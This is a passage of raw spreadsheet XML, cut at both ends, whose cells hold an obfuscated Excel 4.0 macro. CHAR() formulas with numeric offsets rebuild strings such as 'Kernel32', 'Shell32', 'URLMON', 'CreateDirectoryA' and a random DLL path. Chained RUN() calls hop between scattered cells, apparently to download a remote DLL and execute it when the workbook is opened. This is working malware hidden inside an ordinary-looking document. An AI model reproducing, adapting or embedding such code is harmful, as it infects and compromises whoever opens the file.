spans="26:242" x14ac:dyDescent="0.25"><c r="GR929" t="b"><f>RUN($HX$348)</f><v>0</v></c></row><row r="931" spans="26:242" x14ac:dyDescent="0.25"><c r="IH931"><v>899</v></c></row><row r="932" spans="26:242" x14ac:dyDescent="0.25"><c r="Z932" t="str"><f>CHAR($M$235-814)</f><v>A</v></c></row><row r="933" spans="26:242" x14ac:dyDescent="0.25"><c r="HZ933" t="str"><f>CHAR($EC$1203-814)</f><v>e</v></c></row><row r="935" spans="26:242" x14ac:dyDescent="0.25"><c r="CT935" t="b"><f>RUN($H$1907)</f><v>0</v></c><c r="GR935" t="b"><f>RUN($FT$115)</f><v>0</v></c></row><row r="940" spans="26:242" x14ac:dyDescent="0.25"><c r="AM940" t="str"><f>CHAR($B$110-532)</f><v>:</v></c></row><row r="941" spans="26:242" x14ac:dyDescent="0.25"><c r="GQ941" t="b"><f>RUN($DU$130)</f><v>0</v></c></row><row r="942" spans="26:242" x14ac:dyDescent="0.25"><c r="BS942"><v>925</v></c></row><row r="945" spans="38:199" x14ac:dyDescent="0.25"><c r="FI945" t="str"><f>CONCATENATE($IO$1339,$CY$1951,$DF$116,$FY$1222)</f><v>Open</v></c></row><row r="946" spans="38:199" x14ac:dyDescent="0.25"><c r="FD946" t="b"><f>RUN($FS$599)</f><v>0</v></c></row><row r="950" spans="38:199" x14ac:dyDescent="0.25"><c r="DA950" t="b"><f>RUN($FV$1429)</f><v>0</v></c></row><row r="951" spans="38:199" x14ac:dyDescent="0.25"><c r="AL951" t="str"><f>CHAR($BN$41-814)</f><v>e</v></c></row><row r="953" spans="38:199" x14ac:dyDescent="0.25"><c r="GQ953" t="b"><f>RUN($AC$1485)</f><v>0</v></c></row><row r="957" spans="38:199" x14ac:dyDescent="0.25"><c r="EI957"><v>37</v></c></row><row r="966" spans="31:234" x14ac:dyDescent="0.25"><c r="HZ966" t="b"><f>RUN($CC$1439)</f><v>0</v></c></row><row r="968" spans="31:234" x14ac:dyDescent="0.25"><c r="AE968" t="b"><f>RUN($GJ$811)</f><v>0</v></c></row><row r="977" spans="27:149" x14ac:dyDescent="0.25"><c r="CT977" t="str"><f>CHAR($Z$681-532)</f><v>/</v></c></row><row r="981" spans="27:149" x14ac:dyDescent="0.25"><c r="BQ981"><v>510</v></c></row><row r="988" spans="27:149" x14ac:dyDescent="0.25"><c r="ES988" t="str"><f>CHAR($CI$1006-814)</f><v>F</v></c></row><row r="990" spans="27:149" x14ac:dyDescent="0.25"><c r="AA990"><v>404</v></c></row><row r="993" spans="7:238" x14ac:dyDescent="0.25"><c r="FT993"><v>578</v></c></row><row r="999" spans="7:238" x14ac:dyDescent="0.25"><c r="HN999"><v>78</v></c></row><row r="1000" spans="7:238" x14ac:dyDescent="0.25"><c r="FI1000" t="str"><f>CONCATENATE($FF$699)</f><v>l</v></c></row><row r="1003" spans="7:238" x14ac:dyDescent="0.25"><c r="DS1003" t="str"><f>CHAR($HL$1345-304)</f><v>S</v></c><c r="ID1003"><v>883</v></c></row><row r="1006" spans="7:238" x14ac:dyDescent="0.25"><c r="CI1006"><v>884</v></c></row><row r="1008" spans="7:238" x14ac:dyDescent="0.25"><c r="G1008" t="str"><f>CHAR($FL$492-459)</f><v>3</v></c></row><row r="1014" spans="89:249" x14ac:dyDescent="0.25"><c r="IO1014"><v>14</v></c></row><row r="1016" spans="89:249" x14ac:dyDescent="0.25"><c r="FC1016" t="str"><f>CHAR($DZ$488-532)</f><v>h</v></c></row><row r="1022" spans="89:249" x14ac:dyDescent="0.25"><c r="CK1022"><v>58</v></c></row><row r="1023" spans="89:249" x14ac:dyDescent="0.25"><c r="DR1023"><v>541</v></c></row><row r="1025" spans="30:118" x14ac:dyDescent="0.25"><c r="BW1025" t="b"><f>RUN($IC$1603)</f><v>0</v></c></row><row r="1028" spans="30:118" x14ac:dyDescent="0.25"><c r="AD1028" t="b"><f>RUN($FD$946)</f><v>0</v></c><c r="BC1028"><v>911</v></c></row><row r="1030" spans="30:118" x14ac:dyDescent="0.25"><c r="CP1030"><v>881</v></c></row><row r="1040" spans="30:118" x14ac:dyDescent="0.25"><c r="DN1040" t="str"><f>CHAR($HC$342-304)</f><v>\</v></c></row><row r="1041" spans="61:241" x14ac:dyDescent="0.25"><c r="IG1041" t="b"><f>RUN($FL$1108)</f><v>0</v></c></row><row r="1055" spans="61:241" x14ac:dyDescent="0.25"><c r="BI1055" t="b"><f>RUN($EC$198)</f><v>0</v></c><c r="FD1055" t="b"><f>RUN($EM$161)</f><v>0</v></c></row><row r="1056" spans="61:241" x14ac:dyDescent="0.25"><c r="DC1056"><v>632</v></c></row><row r="1063" spans="81:246" x14ac:dyDescent="0.25"><c r="CH1063"><v>914</v></c><c r="HU1063" t="b"><f>RUN($BG$752)</f><v>0</v></c></row><row r="1072" spans="81:246" x14ac:dyDescent="0.25"><c r="CC1072" t="b"><f>RUN($AG$1186)</f><v>0</v></c><c r="IL1072"><v>882</v></c></row><row r="1073" spans="15:224" x14ac:dyDescent="0.25"><c r="O1073" t="b"><f>RUN($AD$1689)</f><v>0</v></c></row><row r="1074" spans="15:224" x14ac:dyDescent="0.25"><c r="FC1074" t="b"><f>RUN($GV$1182)</f><v>0</v></c></row><row r="1076" spans="15:224" x14ac:dyDescent="0.25"><c r="HF1076"><v>412</v></c></row><row r="1085" spans="15:224" x14ac:dyDescent="0.25"><c r="DY1085" t="str"><f>CHAR($CN$1252-459)</f><v>S</v></c></row><row r="1086" spans="15:224" x14ac:dyDescent="0.25"><c r="HP1086" t="str"><f>CHAR($IH$931-814)</f><v>U</v></c></row><row r="1091" spans="1:164" x14ac:dyDescent="0.25"><c r="A1091" t="b"><f>RUN($GK$606)</f><v>0</v></c></row><row r="1093" spans="1:164" x14ac:dyDescent="0.25"><c r="DF1093" t="b"><f>RUN($FY$328)</f><v>0</v></c><c r="EG1093" t="b"><f>RUN($HU$1063)</f><v>0</v></c></row><row r="1094" spans="1:164" x14ac:dyDescent="0.25"><c r="BO1094"><v>374</v></c></row><row r="1096" spans="1:164" x14ac:dyDescent="0.25"><c r="FH1096" t="str"><f>CHAR($EL$228-304)</f><v>d</v></c></row><row r="1099" spans="1:164" x14ac:dyDescent="0.25"><c r="ER1099" t="str"><f>CHAR($BC$1028-814)</f><v>a</v></c></row><row r="1105" spans="33:168" x14ac:dyDescent="0.25"><c r="AG1105" t="b"><f>RUN($GT$227)</f><v>0</v></c></row><row r="1108" spans="33:168" x14ac:dyDescent="0.25"><c r="FL1108" t="b"><f>RUN($CA$1112)</f><v>0</v></c></row><row r="1112" spans="33:168" x14ac:dyDescent="0.25"><c r="CA1112" t="b"><f>RUN($CT$935)</f><v>0</v></c></row><row r="1118" spans="33:168" x14ac:dyDescent="0.25"><c r="BY1118"><v>632</v></c></row><row r="1121" spans="4:212" x14ac:dyDescent="0.25"><c r="D1121" t="str"><f>CHAR($BP$1570-532)</f><v>p</v></c><c r="DA1121" t="b"><f>RUN($DA$950)</f><v>0</v></c><c r="HD1121"><v>425</v></c></row><row r="1132" spans="4:212" x14ac:dyDescent="0.25"><c r="FJ1132" t="b"><f>RUN($CP$835)</f><v>0</v></c></row><row r="1134" spans="4:212" x14ac:dyDescent="0.25"><c r="EC1134" t="str"><f>CHAR($CL$1275-532)</f><v>e</v></c><c r="FI1134"><v>922</v></c></row><row r="1135" spans="4:212" x14ac:dyDescent="0.25"><c r="DV1135"><v>563</v></c></row><row r="1140" spans="173:220" x14ac:dyDescent="0.25"><c r="HL1140" t="b"><f>RUN($FH$1244)</f><v>0</v></c></row><row r="1141" spans="173:220" x14ac:dyDescent="0.25"><c r="FQ1141" t="str"><f>CHAR($CK$1861-304)</f><v>M</v></c></row><row r="1142" spans="173:220" x14ac:dyDescent="0.25"><c r="HL1142" t="str"><f>CHAR($AB$1836-814)</f><v>e</v></c></row><row r="1159" spans="126:229" x14ac:dyDescent="0.25"><c r="HL1159" t="str"><f>CHAR($AD$1369-532)</f><v>/</v></c></row><row r="1160" spans="126:229" x14ac:dyDescent="0.25"><c r="HU1160" t="b"><f>RUN($GH$1807)</f><v>0</v></c></row><row r="1163" spans="126:229" x14ac:dyDescent="0.25"><c r="DV1163"><v>10</v></c></row><row r="1169" spans="35:204" x14ac:dyDescent="0.25"><c r="GA1169" t="b"><f>RUN($BF$440)</f><v>0</v></c></row><row r="1176" spans="35:204" x14ac:dyDescent="0.25"><c r="AI1176"><v>919</v></c></row><row r="1177" spans="35:204" x14ac:dyDescent="0.25"><c r="FH1177"><v>74</v></c></row><row r="1181" spans="35:204" x14ac:dyDescent="0.25"><c r="DL1181"><v>425</v></c></row><row r="1182" spans="35:204" x14ac:dyDescent="0.25"><c r="GV1182" t="b"><f>RUN($GR$929)</f><v>0</v></c></row><row r="1184" spans="35:204" x14ac:dyDescent="0.25"><c r="EE1184" t="b"><f>RUN($IK$1669)</f><v>0</v></c></row><row r="1186" spans="33:221" x14ac:dyDescent="0.25"><c r="AG1186" t="b"><f>RUN($HC$1624)</f><v>0</v></c></row><row r="1190" spans="33:221" x14ac:dyDescent="0.25"><c r="HM1190" t="str"><f>CHAR($DF$878-304)</f><v>q</v></c></row><row r="1196" spans="33:221" x14ac:dyDescent="0.25"><c r="CJ1196" t="str"><f>CHAR($BJ$1396-814)</f><v>c</v></c></row><row r="1201" spans="5:237" x14ac:dyDescent="0.25"><c r="GW1201" t="b"><f>RUN($HQ$1747)</f><v>0</v></c></row><row r="1203" spans="5:237" x14ac:dyDescent="0.25"><c r="EC1203"><v>915</v></c></row><row r="1204" spans="5:237" x14ac:dyDescent="0.25"><c r="IC1204"><v>7</v></c></row><row r="1205" spans="5:237" x14ac:dyDescent="0.25"><c r="AF1205" t="str"><f>CONCATENATE($EW$1237)</f><v>Shell32</v></c></row><row r="1207" spans="5:237" x14ac:dyDescent="0.25"><c r="DA1207"><v>34</v></c><c r="EX1207" t="str"><f>CHAR($BY$1118-532)</f><v>d</v></c></row><row r="1209" spans="5:237" x14ac:dyDescent="0.25"><c r="DV1209"><v>86</v></c></row><row r="1211" spans="5:237" x14ac:dyDescent="0.25"><c r="FQ1211" t="str"><f>CHAR($CO$1858-532)</f><v>a</v></c></row><row r="1213" spans="5:237" x14ac:dyDescent="0.25"><c r="E1213"><v>629</v></c></row><row r="1216" spans="5:237" x14ac:dyDescent="0.25"><c r="HS1216" t="str"><f>CHAR($BE$59-532)</f><v>l</v></c></row><row r="1222" spans="83:181" x14ac:dyDescent="0.25"><c r="FY1222" t="str"><f>CHAR($AU$33-814)</f><v>n</v></c></row><row r="1227" spans="83:181" x14ac:dyDescent="0.25"><c r="DW1227"><v>372</v></c></row><row r="1232" spans="83:181" x14ac:dyDescent="0.25"><c r="CE1232" t="str"><f>CHAR($AI$1176-814)</f><v>i</v></c></row><row r="1233" spans="11:184" x14ac:dyDescent="0.25"><c r="BH1233"><v>930</v></c></row><row r="1236" spans="11:184" x14ac:dyDescent="0.25"><c r="DB1236"><v>924</v></c></row><row r="1237" spans="11:184" x14ac:dyDescent="0.25"><c r="EW1237" t="str"><f>CONCATENATE($DY$1085,$BL$355,$DR$314,$H$1332,$FY$306,$G$1008,$BG$1266)</f><v>Shell32</v></c></row><row r="1238" spans="11:184" x14ac:dyDescent="0.25"><c r="K1238" t="str"><f>CHAR($FW$1814-532)</f><v>s</v></c><c r="GB1238"><v>43</v></c></row><row r="1244" spans="11:184" x14ac:dyDescent="0.25"><c r="FH1244" t="b"><f>RUN($FO$203)</f><v>0</v></c></row><row r="1250" spans="62:235" x14ac:dyDescent="0.25"><c r="DZ1250"><v>633</v></c></row><row r="1251" spans="62:235" x14ac:dyDescent="0.25"><c r="BJ1251"><v>583</v></c></row><row r="1252" spans="62:235" x14ac:dyDescent="0.25"><c r="CN1252"><v>542</v></c><c r="FG1252"><v>46</v></c><c r="HV1252" t="b"><f>RUN($BR$1479)</f><v>0</v></c></row><row r="1257" spans="62:235" x14ac:dyDescent="0.25"><c r="IA1257"><v>915</v></c></row><row r="1261" spans="62:235" x14ac:dyDescent="0.25"><c r="HC1261"><v>925</v></c></row><row r="1266" spans="59:205" x14ac:dyDescent="0.25"><c r="BG1266" t="str"><f>CHAR($DV$1627-459)</f><v>2</v></c></row><row r="1270" spans="59:205" x14ac:dyDescent="0.25"><c r="BL1270"><v>87</v></c></row><row r="1275" spans="59:205" x14ac:dyDescent="0.25"><c r="CL1275"><v>633</v></c></row><row r="1276" spans="59:205" x14ac:dyDescent="0.25"><c r="GW1276"><v>646</v></c></row><row r="1281" spans="24:228" x14ac:dyDescent="0.25"><c r="EB1281" t="str"><f>CHAR($AP$1750-532)</f><v>t</v></c></row><row r="1282" spans="24:228" x14ac:dyDescent="0.25"><c r="X1282" t="b"><f>RUN($FZ$1437)</f><v>0</v></c></row><row r="1289" spans="24:228" x14ac:dyDescent="0.25"><c r="HT1289" t="str"><f>CHAR($IG$1797-304)</f><v>z</v></c></row><row r="1303" spans="110:202" x14ac:dyDescent="0.25"><c r="FZ1303" t="b"><f>RUN($FG$1801)</f><v>0</v></c></row><row r="1304" spans="110:202" x14ac:dyDescent="0.25"><c r="DF1304"><v>915</v></c><c r="EA1304" t="b"><f>RUN($HF$1977)</f><v>0</v></c></row><row r="1306" spans="110:202" x14ac:dyDescent="0.25"><c r="GT1306"><v>39</v></c></row><row r="1322" spans="111:209" x14ac:dyDescent="0.25"><c r="DG1322" t="b"><f>RUN($EH$1758)</f><v>0</v></c></row><row r="1328" spans="111:209" x14ac:dyDescent="0.25"><c r="HA1328" t="b"><f>RUN($DW$218)</f><v>0</v></c></row><row r="1332" spans="8:249" x14ac:dyDescent="0.25"><c r="H1332" t="str"><f>CHAR($DK$1387-459)</f><v>l</v></c></row><row r="1335" spans="8:249" x14ac:dyDescent="0.25"><c r="GM1335"><v>879</v></c></row><row r="1339" spans="8:249" x14ac:dyDescent="0.25"><c r="DQ1339" t="str"><f>CHAR($FN$1680-532)</f><v>b</v></c><c r="IO1339" t="str"><f>CHAR($GI$1687-814)</f><v>O</v></c></row><row r="1345" spans="45:220" x14ac:dyDescent="0.25"><c r="HL1345"><v>387</v></c></row><row r="1347" spans="45:220" x14ac:dyDescent="0.25"><c r="DF1347" t="str"><f>CHAR($EZ$1927-532)</f><v>/</v></c></row><row r="1351" spans="45:220" x14ac:dyDescent="0.25"><c r="AS1351" t="b"><f>RUN($IG$1041)</f><v>0</v></c></row><row r="1354" spans="45:220" x14ac:dyDescent="0.25"><c r="EP1354"><v>915</v></c></row><row r="1359" spans="45:220" x14ac:dyDescent="0.25"><c r="GZ1359" t="b"><f>RUN($L$1539)</f><v>0</v></c></row><row r="1365" spans="7:214" x14ac:dyDescent="0.25"><c r="HF1365" t="b"><f>RUN($DE$1468)</f><v>0</v></c></row><row r="1369" spans="7:214" x14ac:dyDescent="0.25"><c r="AD1369"><v>579</v></c></row><row r="1371" spans="7:214" x14ac:dyDescent="0.25"><c r="G1371" t="str"><f>CHAR($E$191-532)</f><v>b</v></c></row><row r="1372" spans="7:214" x14ac:dyDescent="0.25"><c r="V1372" t="str"><f>CONCATENATE($AJ$1434)</f><v>Kernel32</v></c></row><row r="1383" spans="106:167" x14ac:dyDescent="0.25"><c r="DB1383" t="b"><f>RUN($GF$842)</f><v>0</v></c></row><row r="1384" spans="106:167" x14ac:dyDescent="0.25"><c r="EA1384" t="str"><f>CHAR($HS$1751-814)</f><v>c</v></c></row><row r="1387" spans="106:167" x14ac:dyDescent="0.25"><c r="DK1387"><v>567</v></c><c r="FK1387" t="str"><f>CHAR($FS$76-459)</f><v>e</v></c></row><row r="1396" spans="62:134" x14ac:dyDescent="0.25"><c r="BJ1396"><v>913</v></c></row><row r="1405" spans="62:134" x14ac:dyDescent="0.25"><c r="ED1405" t="str"><f>CHAR($CL$1773-459)</f><v>r</v></c></row><row r="1417" spans="27:186" x14ac:dyDescent="0.25"><c r="EW1417" t="str"><f>CHAR($DC$1056-532)</f><v>d</v></c></row><row r="1421" spans="27:186" x14ac:dyDescent="0.25"><c r="AA1421" t="str"><f>CHAR($HX$154-814)</f><v>x</v></c><c r="ET1421"><v>640</v></c></row><row r="1422" spans="27:186" x14ac:dyDescent="0.25"><c r="GD1422" t="b"><f>RUN($BJ$725)</f><v>0</v></c></row><row r="1425" spans="21:218" x14ac:dyDescent="0.25"><c r="HJ1425" t="b"><f>RUN($DM$12)</f><v>0</v></c></row><row r="1426" spans="21:218" x14ac:dyDescent="0.25"><c r="AO1426" t="b"><f>RUN($GT$1777)</f><v>0</v></c></row><row r="1429" spans="21:218" x14ac:dyDescent="0.25"><c r="FV1429" t="b"><f>RUN($CQ$1719)</f><v>0</v></c></row><row r="1434" spans="21:218" x14ac:dyDescent="0.25"><c r="AJ1434" t="str"><f>CONCATENATE($AS$1985,$AI$1591,$ED$1405,$H$702,$FK$1387,$AD$1656,$FC$1824,$CX$141)</f><v>Kernel32</v></c></row><row r="1437" spans="21:218" x14ac:dyDescent="0.25"><c r="EZ1437" t="str"><f>CHAR($DZ$1250-532)</f><v>e</v></c><c r="FZ1437" t="b"><f>RUN($FM$1682)</f><v>0</v></c></row><row r="1438" spans="21:218" x14ac:dyDescent="0.25"><c r="U1438" t="str"><f>CONCATENATE($IC$726,$HN$77,$HZ$933,$BL$464,$DD$896,$HL$1142,$A$1736,$FB$116,$IH$1447,$FQ$680,$EA$1384,$DW$1698,$BD$720,$GR$248,$AY$73,$EO$586)</f><v>CreateDirectoryA</v></c></row><row r="1439" spans="21:218" x14ac:dyDescent="0.25"><c r="CC1439" t="b"><f>RUN($BC$1556)</f><v>0</v></c></row><row r="1447" spans="242:242" x14ac:dyDescent="0.25"><c r="IH1447" t="str"><f>CHAR($FK$299-814)</f><v>r</v></c></row><row r="1464" spans="32:242" x14ac:dyDescent="0.25"><c r="AF1464" t="b"><f>RUN($BG$625)</f><v>0</v></c></row><row r="1466" spans="32:242" x14ac:dyDescent="0.25"><c r="DE1466"><v>922</v></c></row><row r="1468" spans="32:242" x14ac:dyDescent="0.25"><c r="DE1468" t="b"><f>RUN($DJ$1486)</f><v>0</v></c><c r="IH1468" t="str"><f>CHAR($AA$990-304)</f><v>d</v></c></row><row r="1475" spans="29:198" x14ac:dyDescent="0.25"><c r="AZ1475" t="str"><f>CHAR($IO$1618-814)</f><v>e</v></c><c r="EH1475"><v>380</v></c></row><row r="1477" spans="29:198" x14ac:dyDescent="0.25"><c r="EX1477" t="b"><f>RUN($GD$1535)</f><v>0</v></c></row><row r="1479" spans="29:198" x14ac:dyDescent="0.25"><c r="BR1479" t="b"><f>RUN($A$1091)</f><v>0</v></c><c r="GP1479" t="str"><f>CHAR($BJ$105-304)</f><v>t</v></c></row><row r="1484" spans="29:198" x14ac:dyDescent="0.25"><c r="AL1484"><v>71</v></c><c r="DP1484" t="str"><f>CONCATENATE($BL$415,$FL$888,$FA$268,$DS$1003,$FH$1096,$IK$877,$CO$621,$ID$921,$GP$306,$FQ$1141,$DN$1040,$AP$1786,$HE$555,$DQ$1500,$HM$1190,$CA$533,$GP$1479,$FU$715,$IL$161,$BW$15,$GS$1572,$HN$837,$AR$1654,$AF$1777,$HT$1289,$GD$522,$DX$571,$IH$1468,$IG$1560)</f><v>C:\SdxLykM\ihJqIty\iTBDXzF.dl</v></c></row><row r="1485" spans="29:198" x14ac:dyDescent="0.25"><c r="AC1485" t="b"><f>RUN($GC$143)</f><v>0</v></c></row><row r="1486" spans="29:198" x14ac:dyDescent="0.25"><c r="DJ1486" t="b"><f>RUN($AE$968)</f><v>0</v></c></row><row r="1500" spans="89:121" x14ac:dyDescent="0.25"><c r="DQ1500" t="str"><f>CHAR($DA$886-304)</f><v>J</v></c></row><row r="1501" spans="89:121" x14ac:dyDescent="0.25"><c r="CK1501" t="b"><f>RUN($IG$205)</f><v>0</v></c></row><row r="1506" spans="49:68" x14ac:dyDescent="0.25"><c r="AX1506"><v>560</v></c><c r="BP1506" t="str"><f>CHAR($GL$1832-532)</f><v>/</v></c></row><row r="1509" spans="49:68" x14ac:dyDescent="0.25"><c r="BB1509"><v>39</v></c></row><row r="1517" spans="49:68" x14ac:dyDescent="0.25"><c r="AW1517" t="b"><f>RUN($AO$1426)</f><v>0</v></c></row><row r="1530" spans="112:186" x14ac:dyDescent="0.25"><c r="FQ1530"><v>897</v></c></row><row r="1535" spans="112:186" x14ac:dyDescent="0.25"><c r="DH1535"><v>57</v></c><c r="GD1535" t="b"><f>RUN($BP$528)</f><v>0</v></c></row><row r="1539" spans="3:216" x14ac:dyDescent="0.25"><c r="L1539" t="b"><f>RUN($CM$496)</f><v>0</v></c></row><row r="1542" spans="3:216" x14ac:dyDescent="0.25"><c r="HH1542" t="str"><f>CHAR($HC$1261-814)</f><v>o</v></c></row><row r="1544" spans="3:216" x14ac:dyDescent="0.25"><c r="C1544" t="b"><f>RUN($BW$1025)</f><v>0</v></c></row><row r="1554" spans="48:241" x14ac:dyDescent="0.25"><c r="GK1554" t="str"><f>CHAR($CR$77-459)</f><v>N</v></c></row><row r="1556" spans="48:241" x14ac:dyDescent="0.25"><c r="BC1556" t="b"><f>RUN($DF$1093)</f><v>0</v></c></row><row r="1560" spans="48:241" x14ac:dyDescent="0.25"><c r="IG1560" t="str"><f>CHAR($CY$1740-304)</f><v>l</v></c></row><row r="1562" spans="48:241" x14ac:dyDescent="0.25"><c r="AV1562" t="str"><f>CHAR($CW$205-814)</f><v>T</v></c></row><row r="1570" spans="1:228" x14ac:dyDescent="0.25"><c r="BP1570"><v>644</v></c></row><row r="1571" spans="1:228" x14ac:dyDescent="0.25"><c r="A1571"><v>36</v></c></row><row r="1572" spans="1:228" x14ac:dyDescent="0.25"><c r="GS1572" t="str"><f>CHAR($GR$92-304)</f><v>T</v></c></row><row r="1579" spans="1:228" x14ac:dyDescent="0.25"><c r="HT1579" t="str"><f>CHAR($F$1659-814)</f><v>l</v></c></row><row r="1587" spans="25:187" x14ac:dyDescent="0.25"><c r="GE1587"><v>392</v></c></row><row r="1590" spans="25:187" x14ac:dyDescent="0.25"><c r="Y1590" t="b"><f>RUN($DE$1641)</f><v>0</v></c></row><row r="1591" spans="25:187" x14ac:dyDescent="0.25"><c r="AI1591" t="str"><f>CHAR($AZ$105-459)</f><v>e</v></c></row><row r="1603" spans="65:237" x14ac:dyDescent="0.25"><c r="IC1603" t="b"><f>RUN($EZ$4)</f><v>0</v></c></row><row r="1609" spans="65:237" x14ac:dyDescent="0.25"><c r="HD1609"><v>44</v></c></row><row r="1614" spans="65:237" x14ac:dyDescent="0.25"><c r="BM1614" t="b"><f>RUN($Y$1590)</f><v>0</v></c></row><row r="1618" spans="43:249" x14ac:dyDescent="0.25"><c r="IO1618"><v>915</v></c></row><row r="1624" spans="43:249" x14ac:dyDescent="0.25"><c r="HC1624" t="b"><f>RUN($FJ$905)</f><v>0</v></c></row><row r="1625" spans="43:249" x14ac:dyDescent="0.25"><c r="AQ1625" t="str"><f>CONCATENATE($GS$1916,$EO$811,$GV$1642,$GO$747,$BX$1967,$GK$1554)</f><v>URLMON</v></c></row><row r="1627" spans="43:249" x14ac:dyDescent="0.25"><c r="DV1627"><v>509</v></c></row><row r="1634" spans="8:244" x14ac:dyDescent="0.25"><c r="DJ1634"><v>534</v></c></row><row r="1639" spans="8:244" x14ac:dyDescent="0.25"><c r="GH1639"><v>578</v></c></row><row r="1640" spans="8:244" x14ac:dyDescent="0.25"><c r="IJ1640"><v>71</v></c></row><row r="1641" spans="8:244" x14ac:dyDescent="0.25"><c r="DE1641" t="b"><f>RUN($CK$1501)</f><v>0</v></c></row><row r="1642" spans="8:244" x14ac:dyDescent="0.25"><c r="GV1642" t="str"><f>CHAR($CY$662-459)</f><v>L</v></c></row><row r="1643" spans="8:244" x14ac:dyDescent="0.25"><c r="FA1643" t="str"><f>CHAR($CH$1063-814)</f><v>d</v></c></row><row r="1645" spans="8:244" x14ac:dyDescent="0.25"><c r="EM1645"><v>6</v></c></row><row r="1646" spans="8:244" x14ac:dyDescent="0.25"><c r="H1646"><v>16</v></c></row><row r="1654" spans="6:110" x14ac:dyDescent="0.25"><c r="AR1654" t="str"><f>CHAR($DW$1227-304)</f><v>D</v></c></row><row r="1656" spans="6:110" x14ac:dyDescent="0.25"><c r="AD1656" t="str"><f>CHAR($BC$506-459)</f><v>l</v></c></row><row r="1658" spans="6:110" x14ac:dyDescent="0.25"><c r="DF1658"><v>56</v></c></row><row r="1659" spans="6:110" x14ac:dyDescent="0.25"><c r="F1659"><v>922</v></c></row><row r="1669" spans="170:245" x14ac:dyDescent="0.25"><c r="IK1669" t="b"><f>RUN($AS$1351)</f><v>0</v></c></row><row r="1672" spans="170:245" x14ac:dyDescent="0.25"><c r="IJ1672" t="str"><f>CONCATENATE($EW$1417,$HE$874,$DU$1775)</f><v>dll</v></c></row><row r="1680" spans="170:245" x14ac:dyDescent="0.25"><c r="FN1680"><v>630</v></c></row><row r="1682" spans="30:191" x14ac:dyDescent="0.25"><c r="FM1682" t="b"><f>RUN($AA$1867)</f><v>0</v></c></row><row r="1687" spans="30:191" x14ac:dyDescent="0.25"><c r="GI1687"><v>893</v></c></row><row r="1689" spans="30:191" x14ac:dyDescent="0.25"><c r="AD1689" t="b"><f>RUN($GD$1735)</f><v>0</v></c></row><row r="1698" spans="127:127" x14ac:dyDescent="0.25"><c r="DW1698" t="str"><f>CHAR($BH$1233-814)</f><v>t</v></c></row><row r="1719" spans="23:95" x14ac:dyDescent="0.25"><c r="CQ1719" t="b"><f>RUN($CC$1072)</f><v>0</v></c></row><row r="1720" spans="23:95" x14ac:dyDescent="0.25"><c r="AO1720"><v>27</v></c></row><row r="1723" spans="23:95" x14ac:dyDescent="0.25"><c r="W1723" t="str"><f>CHAR($DE$1466-814)</f><v>l</v></c></row><row r="1729" spans="1:186" x14ac:dyDescent="0.25"><c r="DX1729" t="b"><f>RUN($BM$1614)</f><v>0</v></c></row><row r="1735" spans="1:186" x14ac:dyDescent="0.25"><c r="GD1735" t="b"><f>RUN($CI$785)</f><v>0</v></c></row><row r="1736" spans="1:186" x14ac:dyDescent="0.25"><c r="A1736" t="str"><f>CHAR($IL$1072-814)</f><v>D</v></c></row><row r="1740" spans="1:186" x14ac:dyDescent="0.25"><c r="CY1740"><v>412</v></c></row><row r="1742" spans="1:186" x14ac:dyDescent="0.25"><c r="AB1742" t="b"><f>RUN($AG$1105)</f><v>0</v></c><c r="CM1742" t="str"><f>CHAR($EZ$923-532)</f><v>s</v></c></row><row r="1747" spans="42:227" x14ac:dyDescent="0.25"><c r="HQ1747" t="b"><f>RUN($EO$794)</f><v>0</v></c></row><row r="1750" spans="42:227" x14ac:dyDescent="0.25"><c r="AP1750"><v>648</v></c><c r="EX1750" t="b"><f>RUN($EK$1930)</f><v>0</v></c></row><row r="1751" spans="42:227" x14ac:dyDescent="0.25"><c r="HS1751"><v>913</v></c></row><row r="1758" spans="42:227" x14ac:dyDescent="0.25"><c r="EH1758" t="b"><f>RUN($DA$1121)</f><v>0</v></c></row><row r="1760" spans="42:227" x14ac:dyDescent="0.25"><c r="HC1760"><v>925</v></c></row><row r="1773" spans="90:125" x14ac:dyDescent="0.25"><c r="CL1773"><v>573</v></c></row><row r="1775" spans="90:125" x14ac:dyDescent="0.25"><c r="DU1775" t="str"><f>CHAR($BW$827-532)</f><v>l</v></c></row><row r="1777" spans="32:202" x14ac:dyDescent="0.25"><c r="AF1777" t="str"><f>CHAR($GE$1587-304)</f><v>X</v></c><c r="GT1777" t="b"><f>RUN($BG$647)</f><v>0</v></c></row><row r="1786" spans="32:202" x14ac:dyDescent="0.25"><c r="AP1786" t="str"><f>CHAR($GI$339-304)</f><v>i</v></c></row><row r="1787" spans="32:202" x14ac:dyDescent="0.25"><c r="BB1787" t="b"><f>RUN($CC$683)</f><v>0</v></c></row><row r="1793" spans="163:248" x14ac:dyDescent="0.25"><c r="IN1793" t="b"><f>RUN($EX$1750)</f><v>0</v></c></row><row r="1797" spans="163:248" x14ac:dyDescent="0.25"><c r="IG1797"><v>426</v></c></row><row r="1801" spans="163:248" x14ac:dyDescent="0.25"><c r="FG1801" t="b"><f>RUN($FV$378)</f><v>0</v></c></row><row r="1807" spans="163:248" x14ac:dyDescent="0.25"><c r="GH1807" t="b"><f>RUN($HU$1895)</f><v>0</v></c></row><row r="1809" spans="122:179" x14ac:dyDescent="0.25"><c r="FU1809" t="b"><f>RUN($EE$1184)</f><v>0</v></c></row><row r="1814" spans="122:179" x14ac:dyDescent="0.25"><c r="FW1814"><v>647</v></c></row><row r="1817" spans="122:179" x14ac:dyDescent="0.25"><c r="DR1817" t="str"><f>CHAR($CS$116-532)</f><v>a</v></c></row><row r="1824" spans="122:179" x14ac:dyDescent="0.25"><c r="FC1824" t="str"><f>CHAR($BQ$981-459)</f><v>3</v></c></row><row r="1832" spans="28:241" x14ac:dyDescent="0.25"><c r="GL1832"><v>579</v></c></row><row r="1834" spans="28:241" x14ac:dyDescent="0.25"><c r="HW1834" t="b"><f>RUN($GQ$941)</f><v>0</v></c></row><row r="1836" spans="28:241" x14ac:dyDescent="0.25"><c r="AB1836"><v>915</v></c></row><row r="1840" spans="28:241" x14ac:dyDescent="0.25"><c r="IG1840"><v>86</v></c></row><row r="1844" spans="86:165" x14ac:dyDescent="0.25"><c r="CH1844" t="b"><f>RUN($AB$1742)</f><v>0</v></c></row><row r="1851" spans="86:165" x14ac:dyDescent="0.25"><c r="FI1851"><v>9</v></c></row><row r="1858" spans="27:232" x14ac:dyDescent="0.25"><c r="CO1858"><v>629</v></c></row><row r="1859" spans="27:232" x14ac:dyDescent="0.25"><c r="HX1859" t="str"><f>CHAR($BJ$1251-532)</f><v>3</v></c></row><row r="1860" spans="27:232" x14ac:dyDescent="0.25"><c 